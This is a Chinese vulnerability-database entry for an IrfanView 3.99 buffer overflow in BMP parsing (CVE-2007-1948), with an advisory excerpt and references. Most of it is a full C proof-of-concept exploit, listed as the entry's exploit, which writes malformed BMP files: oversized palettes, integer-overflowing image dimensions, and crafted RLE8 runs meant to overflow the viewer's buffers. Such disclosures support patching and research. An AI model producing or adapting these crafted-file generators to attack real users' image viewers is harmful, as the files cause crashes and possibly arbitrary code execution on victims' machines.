IrfanView 缓冲区溢出漏洞

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漏洞ID 1112620 漏洞类型 缓冲区溢出
发布时间 2007-04-04 更新时间 2007-04-10
CVE编号 CVE-2007-1948 CNNVD-ID CNNVD-200704-128
漏洞平台 Windows CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/29819
https://www.securityfocus.com/bid/86382
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200704-128
|漏洞详情
IrfanView存在缓冲区溢出漏洞。见机行事的攻击者可以借助特制的BMP图像的(1)xoffset或(2)yoffsetRLE指令或(3)大的non-RLE编码的blocks,引起拒绝服务攻击和可能执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/23318/info

IrfanView is prone to multiple denial-of-service vulnerabilities because the application fails to properly handle malformed BMP image files.

Successfully exploiting these issues allows attackers to crash the affected application. Due to the nature of the issues, code execution may also be possible, but this has not been confirmed.

IrfanView 3.99 is affected; other versions may also be vulnerable. 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


struct BITMAPFILEHEADER {
unsigned int bfSize;
unsigned int bfReserved;
unsigned int bfOffBits;
};

struct BITMAPINFOHEADER {
unsigned int biSize;
unsigned int biWidth;
unsigned int biHeight;
unsigned short biPlanes;
unsigned short biBitCount;
unsigned int biCompression;
unsigned int biSizeImage;
unsigned int biXPelsPerMeter;
unsigned int biYPelsPerMeter;
unsigned int biClrUsed;
unsigned int biClrImportant;
};

void writebmp(char *filename, unsigned long width, unsigned long height, unsigned int bpp, unsigned int compression, unsigned char *palette, long numpalettecolors, unsigned char *data, long numdatabytes) {
BITMAPFILEHEADER fileheader;
BITMAPINFOHEADER infoheader;

memset(&fileheader,0,sizeof(BITMAPFILEHEADER));
memset(&infoheader,0,sizeof(BITMAPINFOHEADER));

unsigned char sig[2];
sig[0] = 'B';
sig[1] = 'M';

fileheader.bfSize = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4+numdatabytes;
fileheader.bfOffBits = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4;

infoheader.biSize = 40;
infoheader.biWidth = width;
infoheader.biHeight = height;
infoheader.biPlanes = 1;
infoheader.biBitCount = bpp;
infoheader.biCompression = compression;
infoheader.biClrUsed = numpalettecolors;

FILE *fp = fopen(filename,"wb");
fwrite(&sig,sizeof(sig),1,fp);
fwrite(&fileheader,sizeof(BITMAPFILEHEADER),1,fp);
fwrite(&infoheader,sizeof(BITMAPINFOHEADER),1,fp);
if(palette) fwrite(palette,numpalettecolors*4,1,fp);
fwrite(data,numdatabytes,1,fp);
fclose(fp);
}

int main() {
unsigned char * buf;
buf = (unsigned char *)malloc(4000000);
memset(buf,0,4000000);
unsigned char * buf2;
buf2 = (unsigned char *)malloc(4000000);
memset(buf2,0,4000000);

//overflows specifying too large palette
writebmp("ok8bit.bmp",16,16,8,0,buf,256,buf,16*16);
writebmp("paletteof1.bmp",16,16,8,0,buf,65535,buf,16*16);
writebmp("paletteof2.bmp",16,16,8,0,buf,1000000,buf,16*16);

//integer overflows with image dimensions
writebmp("ok24bit.bmp",16,16,24,0,NULL,0,buf,16*16*4);
writebmp("wh4intof.bmp",32769,32768,24,0,NULL,0,buf,4000000);
writebmp("wh3intof.bmp",37838,37838,24,0,NULL,0,buf,4000000);
writebmp("w4intof.bmp",1073741825,1,24,0,NULL,0,buf,4000000);
writebmp("w3intof.bmp",1431655767,1,24,0,NULL,0,buf,4000000);

//overflows with RLE encoded BMPs
buf2[0]=16;
buf2[1]=0;
writebmp("okRLE.bmp",16,1,8,1,buf,256,buf2,2);
for(long i=0;i<500000;i++) {
buf2[i*2]=255;
buf2[i*2+1]=0;
}
writebmp("rle8of1.bmp",16,1,8,1,buf,256,buf2,1000000);
buf2[0]=15;
buf2[1]=0;
for(long i=1;i<500000;i++) {
buf2[i*2]=255;
buf2[i*2+1]=0;
}
writebmp("rle8of2.bmp",16,1,8,1,buf,256,buf2,1000000);
memset(buf2,0,4000000);
buf2[0]=0;
buf2[1]=2;
buf2[2]=255;
buf2[3]=0;
for(long i=4;i<100000-1;) {
buf2[i]=0;
buf2[i+1]=254;
i+=255;
}
writebmp("rle8of3.bmp",16,1,8,1,buf,256,buf2,1000000);
memset(buf2,0,4000000);
for(long i=0;i<100000-1;) {
buf2[i]=0;
buf2[i+1]=254;
i+=255;
}
writebmp("rle8of4.bmp",16,1,8,1,buf,256,buf2,1000000);
}
|受影响的产品
IrfanView IrfanView 3.99
|参考资料

来源:BUGTRAQ
名称:20070404SeveralWindowsimageviewersvulnerabilities
链接:http://www.securityfocus.com/archive/1/archive/1/464726/100/0/threaded
来源:VUPEN
名称:ADV-2007-1284
链接:http://www.frsirt.com/english/advisories/2007/1284
来源:OSVDB
名称:41554
链接:http://osvdb.org/41554
来源:MISC
链接:http://ifsec.blogspot.com/2007/04/several-windows-image-viewers.html
来源:SREASON
名称:2558
链接:http://securityreason.com/securityalert/2558